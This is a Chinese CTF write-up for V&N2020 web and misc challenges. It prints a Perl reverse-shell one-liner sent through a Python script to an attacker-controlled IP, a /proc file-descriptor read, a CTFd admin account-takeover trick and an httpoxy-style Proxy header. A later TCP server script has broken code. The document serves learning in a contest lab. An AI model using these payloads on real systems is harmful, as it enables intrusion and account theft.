[V&N2020 公开赛] Web misc部分题解

0x00 前言

写了一天题目，学到了好多东西，简单记录一下

0x01 Web

HappyCTFd

直接使用网上公开的cve打：

解题思路：先注册一个admin空格账号，注意这里的靶机无法访问外网，邮箱填上buu内网的邮箱以admin账户登陆。然后修改密码，给我们注册的邮箱发送邮件，去内网邮箱处登陆，点击链接修改密码。这样平台真正的admin账户就被修改了。
我们以用户名admin,密码为我们刚刚修改的登陆。找到flag.

CHECKIN

perl 脚本反弹shell：
链接：
https://xz.aliyun.com/t/5768

https://www.anquanke.com/post/id/87017

解题：
首先开1台buu内部的服务器。
然后看一下ip：

写对应脚本：

import requests


url = "http://4fa601db-8d81-4ebf-8d4b-281ef2b28783.node3.buuoj.cn/shell"

data = {
    'c':"perl -e 'use Socket;$i=\"xxx.xx.xxx.118\";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};' &"
}

response = requests.get(url,params=data)

print(response.text)

这里ip和监听端口要和我们服务器相对应先别运行，先设置监听端口：根据脚本我们监听的是8888端口

然后运行脚本之后
回到服务器页面发现反弹shell成功
接下来弹flag:
链接
https://www.hi-linux.com/posts/64295.html
众所周知，/proc/[pid]/fd 是一个目录，包含进程打开文件的情况。在相应进程的/proc/$pid/fd 目录下存放了此进程所有打开的fd。当然有些可能不是本进程自己打开的，如通过fork()从父进程继承而来的。
payload:

cat /proc/*/fd/*

TimeTravel

链接：

https://www.anquanke.com/post/id/84227
同样需要监听端口，我们先开一台内网服务器。
使用下面的exp:

HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Sat, 29 Feb 2020 05:27:31 GMT
Content-Type: text/html; charset=UTF-8
Connection: Keep-alive
Content-Length: 16

{"success":true}

把他放在我们服务器上，然后运行监听端口：

打开题目，bp发包如下：

payload:

GET /?flag=123 HTTP/1.1
Host: node3.buuoj.cn:25028
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Proxy:http://174.0.213.118:8888

得到flag
还有一种解法是写一个tcp服务在我们的服务器上，然后修改头部信息Proxy:http://174.0.213.118:8888然后在这个服务器上反弹shell

#coding:utf-8
import time, socket, threading
def tcplink(sock, addr):
    while True:
        data = sock.recv(1024)
        time.sleep(1)
        if data == 'exit' or not data:
            break
        sock.send({'success':true} % data)
    sock.close()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('127.0.0.1', 8080))
s.listen(5)
print 'Waiting for connection...'
while True:
    sock, addr = s.accept()
    t = threading.Thread(target=tcplink, args=(sock, addr))
    t.start()

0x02 misc

拉胯的三条命令

简单的流量分析题目
链接：

https://fly8wo.github.io/2018/09/27/%E9%80%9A%E8%BF%87Wireshark%E5%88%86%E6%9E%90SYN%E6%89%AB%E6%8F%8F%E6%8A%80%E6%9C%AF/

思路：nmap的syn扫描就是5个数据包
找5个数据包交互的

ML 第一步

直接运行脚本

import numpy as np
from pwn import remote
import matplotlib.pyplot as plt
import re

p = remote("node3.buuoj.cn", 27794)

p.recvline()
p.sendline('yoshino-s')

for i in range(4):
    print(p.recvline())

p.sendline()
s = []
for i in range(70):
    s.append(p.recvline())

def process(s):
    xa = []
    ya = []
    for i in s:
        v = i.split(',')
        x = float(v[0][2:])
        y = float(v[1][2:-2])
        xa.append(x)
        ya.append(y)

    return (np.array(xa), np.array(ya))
    

(x, y) = process(s)
z1 = np.polyfit(x, y, 10)
p1 = np.poly1d(z1)
print(p1)

p.recvline()
p.sendline()
for i in range(10):
    q = p.recvline()
    xi = float(re.compile(b'When x=([0-9\.]+),y=?').findall(q)[0])
    p.sendline(str(p1(xi)))
    print(xi, p1(xi))
p.interactive()